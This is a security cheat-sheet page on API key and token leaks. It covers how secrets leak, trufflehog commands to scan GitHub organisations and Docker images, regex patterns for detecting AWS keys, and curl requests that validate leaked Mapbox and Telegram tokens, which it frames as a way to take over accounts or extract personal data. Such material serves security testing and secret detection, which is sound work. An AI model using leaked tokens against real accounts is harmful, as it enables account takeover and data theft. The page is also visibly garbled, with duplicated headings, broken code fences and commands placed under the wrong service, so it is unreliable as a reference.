# API Key and Token Leaks
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

## Methodology
* **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
* **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
### Common Causes of Leaks
* **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
```py
# Example of hardcoded API key
api_key = "1234567890abcdef"
```
* **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
```ps1
## Scan a Github Organization
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
## Scan a GitHub Repository, its Issues and Pull Requests
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
```
## Scan a Docker image for verified secrets
* **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
```ps1
# Scan a Docker image for verified secrets
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
```

- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints

```
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
* **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
* **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
### Validate The API Key
If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.
```yaml
patterns:
- pattern:
name: AWS API Gateway
regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
confidence: low
- pattern:
name: AWS API Key
regex: AKIA[0-9A-Z]{16}
confidence: high
```
Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
* **Example**: Telegram Bot API Token
```ps1

## Methodology
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

### Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
* Check token validity:
```ps1
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
```
* Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope)
```ps1
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
curl https://api.telegram.org/bot<TOKEN>/getMe
```
